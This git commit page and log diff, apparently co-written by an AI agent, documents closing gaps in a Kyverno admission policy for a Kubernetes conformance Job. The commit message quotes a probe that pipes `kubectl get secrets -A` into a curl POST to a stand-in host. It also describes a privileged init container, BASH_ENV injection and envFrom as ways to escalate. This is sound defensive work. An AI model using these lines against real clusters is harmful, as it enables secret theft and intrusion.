fix(sec): the trigger policy read containers and nothing else — initContainers, ephemeralContainers and env were all open
Authorised by the coordinator in this PR, reversing the brief's "do not touch the policy": the
ban existed to stop the boundary being BENT to fit a Job, not to stop a hole being closed.
MEASURED before this change (kyverno v1.19.0, pinned toolbox), `containers[0]` fully compliant,
`serviceAccountName: conformance-runner`:
* a `privileged: true` `docker.io/library/alpine:latest` initContainer running
`kubectl get secrets -A` -> pass: 3, fail: 0 ADMITTED
* the committed template with ONLY the init container's args swapped for
`kubectl get secrets -A | curl -X POST ... http://evil.invalid/`
-> pass: 3, fail: 0 ADMITTED
Every rule read `spec.template.spec.containers` (rule 1's pattern, rule 3's
`containers[0].args`) or `volumes` (rule 2). `=(privileged): "false"` only ever applied to
`containers[0]`. `ephemeralContainers` and `env` were equally unread.
Four new rules:
* trigger-initcontainers-must-be-the-committed-clone-step — at most ONE initContainer, on
the digest-pinned runner image, command ["/usr/local/bin/conformance-clone"], NO args,
non-root, no privilege escalation, not privileged.
* trigger-may-not-declare-ephemeral-containers.
* trigger-env-names-must-be-the-committed-set — `command` is pinned, so injection moves to a
variable the pinned command honours, and BASH_ENV alone is arbitrary code execution: bash
sources it before running a non-interactive script, and the runner's command IS one.
* trigger-may-not-use-envfrom — a whole Secret as env, whose keys are nowhere in the Job.
All use `deny` conditions, not a `pattern`. A Kyverno array pattern asserts "at least one
element matches", so a pattern-based init rule would have admitted the committed clone step
PLUS an arbitrary second init container — fixture `second-initcontainer` exists because I
nearly wrote it that way.
THE ACTUAL FIX IS THAT THE CLONE SCRIPT LEFT THE JOB. Pinning `command` is worthless when the
command is `/bin/bash -c` and the script arrives as `args`: a policy cannot distinguish the
committed script from an attacker's, because both are just data. The logic now lives in the
image at /usr/local/bin/conformance-clone, from `conformance/incluster/conformance-clone`
(agent 1, PR #18 — which must merge before this template is usable). I had written a second
copy of that script here and DELETED it: two copies of the clone entrypoint, one baked into
the image and one not, drifts into "the reviewed file is not the file that runs". I read
theirs first: the interface matches exactly (CONFORMANCE_GIT_SHA, GITEA_USERNAME/GITEA_TOKEN,
baked clone target /workspace/src — which is what makes workingDir correct — TMPDIR/HOME under
/workspace) and both load-bearing guards survived, the `^[0-9a-f]{40}$` SHA check and
`rev-parse HEAD == SHA`.
Env values and the `valueFrom` source Secret are deliberately NOT constrained: values are
legitimately environment-specific, and conformance-runner can already read this namespace's
Secrets via its own RBAC. Names are the vector, because a name is what a program keys on.
Two Kyverno traps, commented in the rules because both silently invert the result:
`not_null(x, `default`)` and never `||` (JMESPath treats `false` as falsy, so
`allowPrivilegeEscalation || `true`` rewrites the COMPLIANT value into a denial); and
`join(' ', command)` compared as a string, because Equals/NotEquals on arrays is unreliable
and element-wise matching lets `["/bin/sh","-c",...]` through on element 0.
ALSO: the committed `args` default was a shape that cannot run. Agent 1 measured that
`--layer all --strict-coverage` and a bare `--requirements <IDs>` fail on the runner image,
which ships no flux/promtool/kyverno/kustomize. Tracing run.sh gives the precise invariant —
`requirement_scoped_dirs()` is layer-bounded only when `--layer` is given and is not `all`,
and `offline_selected_dirs()` then filters to /l0-static/|/l1-rendering/ — so `--layer` is
mandatory and must name only l2/l3. Default changed from `--layer all --strict-coverage` to
`--layer l2,l3`, and the header now records that the plan's "PHASE EXIT: --layer all" shape
CANNOT run in-cluster: a full-suite run is CI's L0/L1 plus this Job's L2/L3. The policy's args
allowlist is deliberately NOT narrowed to match — a security boundary should not encode which
toolchain an image ships, and an allowed-but-unrunnable shape fails loudly rather than
escalating.
PROVEN, NOT ASSERTED (7 rules):
real rendered template -> pass: 7, fail: 0
coordinator's exact initContainer probe -> fail on trigger-initcontainers-... (6/1)
ephemeralContainers probe -> fail on trigger-may-not-declare-... (6/1)
Fixture matrix 65 pass / 13 fail / 0 error / 0 skip, full table in DECISIONS-LOG. Every evil
init/ephemeral/env case still PASSES the three original rules — that column is the finding.
`injected-initcontainer-env` PASSES the initContainer rule and is hostile purely through env,
which is why env had to be its own rule.
UNVERIFIED: whether the API server accepts `ephemeralContainers` in a Job pod template at all.
Upstream the field is settable only via the pods/ephemeralcontainers subresource, but whether
that check reaches a nested pod template is not something I could establish without a
`create --dry-run=server`, a mutating request reserved to the operator (CLAUDE.md §5). Rule
added regardless: a no-op if upstream rejects it, the same hole if not.
Gate (toolbox): lint green (404 files), l0 green (kyverno test: 1 policy / 15 resources),
render-golden green (10), l1 green; spec-immutability + gitea-settings SKIPPED; MERGE GATE
UNDETERMINED rc 3. Nothing FAILED.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
This commit is contained in:
jakman85andClaude Opus 5 committed
1 parent
f81967228d
commit
44dbd44333
7 files changed
+949
-124
No files matched your search
@@ -5264,3 +5264,248 @@ review", that policy is not implemented anywhere in this repo. `CODEOWNERS`-styl
|
||||
or a `paths:`-scoped required check would be the mechanism; neither exists today.
|
||||
|
||||
The PR was **not merged** and nothing was worked around.
|
||||
|
||||
---
|
||||
|
||||
## 2026-09-29 (addendum to PR #20) — the `initContainers` hole is CLOSED, and so is `ephemeralContainers`
|
||||
|
||||
The coordinator reproduced the finding above independently, then **authorised the policy edit my
|
||||
brief had forbidden** — reversing it explicitly, on the grounds that the ban existed to stop the
|
||||
boundary being *bent to fit a Job*, not to stop a hole being closed. Their reproduction, which I
|
||||
had not tried: a `privileged: true` `docker.io/library/alpine:latest` initContainer running
|
||||
`kubectl get secrets -A`, `serviceAccountName: conformance-runner`, `containers[0]` fully
|
||||
compliant → `pass: 3, fail: 0`. **Admitted.** `=(privileged): "false"` in rule 1 only ever
|
||||
applied to `containers[0]`.
|
||||
|
||||
### What changed
|
||||
|
||||
`platform/kyverno/admission/conformance-trigger-job-shape.yaml` gains two rules:
|
||||
|
||||
- **`trigger-initcontainers-must-be-the-committed-clone-step`** — at most ONE initContainer; it
|
||||
must be on the digest-pinned `conformance-runner` image, `command:
|
||||
["/usr/local/bin/conformance-clone"]`, **no `args`**, non-root, `allowPrivilegeEscalation:
|
||||
false`, not privileged.
|
||||
- **`trigger-may-not-declare-ephemeral-containers`** — the third container list, answering the
|
||||
question the coordinator asked. See the honesty note below.
|
||||
|
||||
Both use `deny` conditions, not a `pattern`. A Kyverno array `pattern` asserts "**at least one**
|
||||
element matches", so a pattern-based init rule would have admitted the committed clone step
|
||||
**plus** an arbitrary second init container — the same hole rule 2's own comment describes for
|
||||
volumes. `second-initcontainer` is a fixture precisely because I nearly wrote it that way.
|
||||
|
||||
Two implementation traps worth recording:
|
||||
|
||||
- **`not_null()`, never `||`.** JMESPath treats `false` as falsy, so
|
||||
`element.securityContext.allowPrivilegeEscalation || `true`` rewrites the **compliant** value
|
||||
`false` into `true` and denies every good Job. Absence defaults must use
|
||||
`not_null(x, `default`)`.
|
||||
- **`join(' ', command)` compared as a string, not the array compared with `Equals`.** Kyverno's
|
||||
`Equals`/`NotEquals` are not dependable on arrays, and an element-wise match would let
|
||||
`["/bin/sh","-c",…]` through on element 0.
|
||||
|
||||
### The clone script moved OUT of the Job — that is the actual fix
|
||||
|
||||
Pinning `command` is worthless if the command is `/bin/bash -c` and the script arrives as `args`:
|
||||
a policy cannot distinguish the committed script from an attacker's, because both are just data.
|
||||
So the logic is now `conformance/incluster/conformance-clone`, which the runner image installs
|
||||
at `/usr/local/bin/conformance-clone` (mode 0755 — added to plan §5 step 1 as a hard requirement,
|
||||
and handed to the agent building that image; the `^[0-9a-f]{40}$` guard and the
|
||||
`rev-parse HEAD == SHA` assertion are the load-bearing parts and survived the move verbatim). The
|
||||
script stays in-repo and reviewable, which is the property the inline version was protecting. The
|
||||
Job's init container is now `command` + `env` and nothing else.
|
||||
|
||||
**One thing I changed while moving it, and it matters:** the repository URL is now **hardcoded in
|
||||
the script** instead of passed as `CONFORMANCE_REPO_URL` env. The policy pins `command` but says
|
||||
nothing about `env`. Had the URL stayed in env, a trigger could point the clone at a repository it
|
||||
controls and have `containers[0]` execute that repo's `./run.sh` as `conformance-runner` — the
|
||||
same escalation, laundered through a field nobody constrains. **Do not move that URL back into
|
||||
env.** Constraining `env` in the policy is the remaining hardening step and is NOT done.
|
||||
|
||||
### Proven, not asserted (kyverno v1.19.0, pinned toolbox)
|
||||
|
||||
##### the real rendered template MUST PASS
|
||||
Applying 5 policy rule(s) to 1 resource(s)...
|
||||
pass: 5, fail: 0, warn: 0, error: 0, skip: 0
|
||||
|
||||
##### the coordinator's exact probe MUST FAIL
|
||||
1 - trigger-initcontainers-must-be-the-committed-clone-step validation failure: ...
|
||||
pass: 4, fail: 1, warn: 0, error: 0, skip: 0
|
||||
|
||||
##### same escalation via ephemeralContainers MUST FAIL
|
||||
1 - trigger-may-not-declare-ephemeral-containers ...
|
||||
pass: 4, fail: 1, warn: 0, error: 0, skip: 0
|
||||
|
||||
Full fixture matrix from `kyverno apply --policy-report` (37 pass / 10 fail, 0 error, 0 skip):
|
||||
|
||||
| resource | may-create | volumes | args | initContainers | ephemeral |
|
||||
|---|---|---|---|---|---|
|
||||
| `real-template` | pass | pass | pass | **pass** | pass |
|
||||
| `good-run` | pass | pass | pass | — | pass |
|
||||
| `evil-command` | **fail** | pass | — | — | pass |
|
||||
| `evil-image` | **fail** | pass | — | — | pass |
|
||||
| `tag-not-digest` | **fail** | pass | — | — | pass |
|
||||
| `host-namespaces` | **fail** | pass | — | — | pass |
|
||||
| `extra-volume` | pass | **fail** | — | — | pass |
|
||||
| `injected-args` | pass | pass | **fail** | — | pass |
|
||||
| `evil-initcontainer` | pass | pass | pass | **fail** | pass |
|
||||
| `initcontainer-with-args` | pass | pass | pass | **fail** | pass |
|
||||
| `second-initcontainer` | pass | pass | pass | **fail** | pass |
|
||||
| `evil-ephemeral-container` | pass | pass | pass | — | **fail** |
|
||||
|
||||
`—` is "no result", not a pass: a `foreach` over an absent list emits nothing. Note how every
|
||||
`evil-*` init/ephemeral case **passes the three original rules** — that is the whole finding in
|
||||
one column, and it is why the fixtures are worth more than the rules' prose.
|
||||
|
||||
### UNVERIFIED — the `ephemeralContainers` question, answered honestly
|
||||
|
||||
I could **not** confirm whether the API server would accept `ephemeralContainers` inside a Job's
|
||||
pod template. Upstream, the field is settable only through the `pods/ephemeralcontainers`
|
||||
subresource and `ValidatePodCreate` rejects it on Pods, but that check does not obviously apply to
|
||||
a pod **template** nested in a Job, and I did not find a definitive answer. Establishing it would
|
||||
need a `create --dry-run=server`, i.e. a mutating request, which CLAUDE.md §5 reserves to the
|
||||
operator — so I did not run one. **The rule was added anyway:** it is a no-op if upstream already
|
||||
rejects the field, and it is the same hole again if it does not. "Probably rejected upstream" is
|
||||
not a boundary. If someone with cluster-write access wants to settle it, that is a one-command
|
||||
check; the rule should stay either way.
|
||||
|
||||
Still unverified, unchanged from the entry above: nothing here has executed, because the runner
|
||||
image does not exist — and it now has one more obligation to meet (`/usr/local/bin/conformance-clone`)
|
||||
before it can. If that path is missing or named differently, the init container fails to start;
|
||||
if it is present but the image is not the pinned digest, admission denies the Job.
|
||||
|
||||
### Process note, worth more than the policy fix
|
||||
|
||||
Both halves of this came from **probing rather than reading**. The hole was not visible in the
|
||||
policy's prose — which is careful, accurate about what it does constrain, and explicit that it is
|
||||
"THE SECURITY BOUNDARY" — only in what the CLI did with a tampered resource. The `--userinfo`
|
||||
observation is the same shape: `kyverno apply` evaluates these rules with or without it, so a
|
||||
green CLI run is evidence about the patterns and **not** about the `subjects` filter that decides
|
||||
whether they apply at all. A policy is only as trustworthy as its negative fixtures.
|
||||
|
||||
---
|
||||
|
||||
## 2026-09-29 (second addendum to PR #20) — `env` was the same hole a third time; and the plan's phase-exit invocation cannot run
|
||||
|
||||
Three inputs arrived after the entry above: agent 1 shipped `/usr/local/bin/conformance-clone`
|
||||
in PR #18, the coordinator invited me to constrain `env`, and agent 1 measured which `args`
|
||||
shapes the image can actually execute. All three changed this branch.
|
||||
|
||||
### 1. I was shipping a DUPLICATE of a security-critical script — deleted
|
||||
|
||||
I wrote `conformance/incluster/conformance-clone.sh`; agent 1's PR #18 adds
|
||||
`conformance/incluster/conformance-clone`. Two copies of the clone entrypoint in one directory,
|
||||
one of them baked into the image and one of them not, is a guaranteed drift into "the reviewed
|
||||
file is not the file that runs". **Mine is deleted**; everything now references agent 1's path,
|
||||
which arrives with #18.
|
||||
|
||||
I read their version before deleting mine rather than assuming compatibility, and the interface
|
||||
my Job depends on matches exactly: env `CONFORMANCE_GIT_SHA`, `GITEA_USERNAME`/`GITEA_TOKEN`;
|
||||
baked clone target `/workspace/src` (which is what makes my `workingDir:
|
||||
/workspace/src/conformance` correct); `TMPDIR`/`HOME` required to be under `/workspace`; and both
|
||||
load-bearing guards preserved — `^[0-9a-f]{40}$` on the SHA and `rev-parse HEAD == SHA` after
|
||||
checkout. Theirs is a superset: it also hard-fails a `CONFORMANCE_REPO_URL`/`CONFORMANCE_SRC`
|
||||
that disagrees with the baked values, rather than honouring it.
|
||||
|
||||
Worth recording that agent 1 reached the hardcoded-URL conclusion **independently and against an
|
||||
instruction to read those values from env** — the coordinator's instruction, which they then
|
||||
retracted. Two agents finding the same "the policy doesn't read this field, so trusting it just
|
||||
moves the injection" reasoning in the same afternoon is the signal that the field-enumeration gap
|
||||
was systemic, not a one-off.
|
||||
|
||||
### 2. `env` was unconstrained — now allowlisted (two more rules)
|
||||
|
||||
The coordinator left this to my judgement. I closed it, because it is provably the same bug:
|
||||
`command` and `args` are pinned, so injection moves to whatever adjacent field nobody
|
||||
enumerated, and **`BASH_ENV` alone is arbitrary code execution** — bash sources it before
|
||||
running a non-interactive script, and the runner's command IS a bash script.
|
||||
|
||||
- **`trigger-env-names-must-be-the-committed-set`** — runner container: `CONF_ARTIFACTS`,
|
||||
`CONF_EMIT_ARTIFACTS_TGZ`, `TMPDIR`, `HOME`. Clone init container: `CONFORMANCE_GIT_SHA`,
|
||||
`CONFORMANCE_REPO_URL`, `CONFORMANCE_SRC`, `GITEA_USERNAME`, `GITEA_TOKEN`, `TMPDIR`, `HOME`.
|
||||
The init list iterates `initContainers[].env[]` flattened, so it keeps working if the
|
||||
at-most-one cap is ever relaxed.
|
||||
- **`trigger-may-not-use-envfrom`** — `envFrom` injects a whole ConfigMap/Secret whose KEYS are
|
||||
nowhere in the Job, which would make the allowlist above unenforceable by inspection.
|
||||
|
||||
**Deliberately NOT constrained:** env *values*, and which Secret a `valueFrom` reads. Values are
|
||||
legitimately environment-specific, and `conformance-runner` can already read this namespace's
|
||||
Secrets through its own RBAC, so pinning the source Secret buys nothing. Names are the vector
|
||||
that matters, because a name is what a program keys behaviour on.
|
||||
|
||||
Two Kyverno traps, both of which silently invert the result and are now commented in the rules:
|
||||
|
||||
- **`not_null(x, `default`)`, never `||`.** JMESPath treats `false` as falsy, so
|
||||
``element.securityContext.allowPrivilegeEscalation || `true` `` rewrites the **compliant**
|
||||
value `false` into `true` and denies every good Job.
|
||||
- **`join(' ', command)` compared as a string**, not the array compared with `Equals`: Kyverno's
|
||||
`Equals`/`NotEquals` are unreliable on arrays, and element-wise matching lets
|
||||
`["/bin/sh","-c",…]` through on element 0.
|
||||
|
||||
### 3. The committed `args` default was a shape that cannot run
|
||||
|
||||
Agent 1 measured that `--layer all --strict-coverage` and a bare `--requirements <IDs>` fail on
|
||||
the runner image: it deliberately ships no flux/promtool/kyverno/kustomize, and `run.sh` runs its
|
||||
offline L0/L1 stages first for any selection that is not offline-only. I traced `run.sh` to state
|
||||
the invariant precisely rather than repeat the symptom — `requirement_scoped_dirs()` is
|
||||
layer-bounded **only when `--layer` is given and is not `all`**, and `offline_selected_dirs()`
|
||||
then filters to `/l0-static/|/l1-rendering/`:
|
||||
|
||||
| args | offline selection | verdict |
|
||||
|---|---|---|
|
||||
| `--layer l2,l3` | empty | **RUNS** |
|
||||
| `--layer l2,l3 --requirements R-NET-01` | intersected to L2/L3 | **RUNS** |
|
||||
| `--layer l2,l3 --include-scope whole-repo` | scope union is *also* layer-bounded | **RUNS** |
|
||||
| `--requirements R-NET-01` (no `--layer`) | that requirement's L0/L1 tests | **FAILS** |
|
||||
| `--layer all --strict-coverage` | every L0/L1 test | **FAILS** |
|
||||
|
||||
So `--layer` is mandatory and must name only l2/l3. **The committed default was
|
||||
`--layer all --strict-coverage` — one of the broken shapes — and is now `--layer l2,l3`.** More
|
||||
importantly: **the plan's "PHASE EXIT: `--layer all`" invocation cannot run in-cluster at all.** A
|
||||
full-suite run is CI's L0/L1 plus this Job's L2/L3, not this Job alone. That correction is in the
|
||||
manifest header and needs to land in `ci/conformance.sh` (plan §3 item 4).
|
||||
|
||||
I did **not** narrow the policy's args allowlist to match. A security boundary should not encode
|
||||
which toolchain an image happens to ship, and the failure mode of an allowed-but-unrunnable shape
|
||||
is a loud non-zero run, not an escalation. Said so in the header so the next reader knows it was
|
||||
considered.
|
||||
|
||||
### Proven (kyverno v1.19.0, pinned toolbox, 7 rules now)
|
||||
|
||||
real rendered template -> pass: 7, fail: 0
|
||||
coordinator's exact initContainer probe -> fail on trigger-initcontainers-... (6/1)
|
||||
ephemeralContainers probe -> fail on trigger-may-not-declare-... (6/1)
|
||||
|
||||
Full fixture matrix — 65 pass / 13 fail / 0 error / 0 skip:
|
||||
|
||||
| resource | creat | vols | args | init | ephem | envnm | envfr |
|
||||
|---|---|---|---|---|---|---|---|
|
||||
| `real-template` | pass | pass | pass | pass | pass | pass | pass |
|
||||
| `good-run` | pass | pass | pass | — | pass | — | pass |
|
||||
| `evil-command` | **fail** | pass | — | — | pass | — | pass |
|
||||
| `evil-image` | **fail** | pass | — | — | pass | — | pass |
|
||||
| `tag-not-digest` | **fail** | pass | — | — | pass | — | pass |
|
||||
| `host-namespaces` | **fail** | pass | — | — | pass | — | pass |
|
||||
| `extra-volume` | pass | **fail** | — | — | pass | — | pass |
|
||||
| `injected-args` | pass | pass | **fail** | — | pass | — | pass |
|
||||
| `evil-initcontainer` | pass | pass | pass | **fail** | pass | — | pass |
|
||||
| `initcontainer-with-args` | pass | pass | pass | **fail** | pass | — | pass |
|
||||
| `second-initcontainer` | pass | pass | pass | **fail** | pass | — | pass |
|
||||
| `evil-ephemeral-container` | pass | pass | pass | — | **fail** | — | pass |
|
||||
| `injected-env` | pass | pass | pass | — | pass | **fail** | pass |
|
||||
| `injected-initcontainer-env` | pass | pass | pass | pass | pass | **fail** | pass |
|
||||
| `envfrom-whole-secret` | pass | pass | pass | — | pass | — | **fail** |
|
||||
|
||||
`injected-initcontainer-env` is the row worth staring at: it **passes** the initContainer rule —
|
||||
correct image, correct pinned command, no args, non-root — and is hostile purely through `env`.
|
||||
That is why the env rule had to be its own rule and not a condition bolted onto the init rule.
|
||||
|
||||
### UNVERIFIED, still
|
||||
|
||||
- Nothing has executed against a cluster. PR #18 must merge first (the image digest), and Secret
|
||||
`conformance-git-readonly` still does not exist.
|
||||
- Whether the API server accepts `ephemeralContainers` in a Job pod template — unchanged from the
|
||||
entry above; establishing it needs a mutating dry-run reserved to the operator.
|
||||
- The env allowlists are derived from what the two programs read TODAY. If `run.sh` or the clone
|
||||
entrypoint grows a new variable, admission denies the Job until the allowlist is widened in a
|
||||
reviewed change. That is the intended failure direction, but it is a coupling the next person
|
||||
editing either script needs to know about, so it is called out in the rule's message.
|
||||
Reference in new issue
Block a user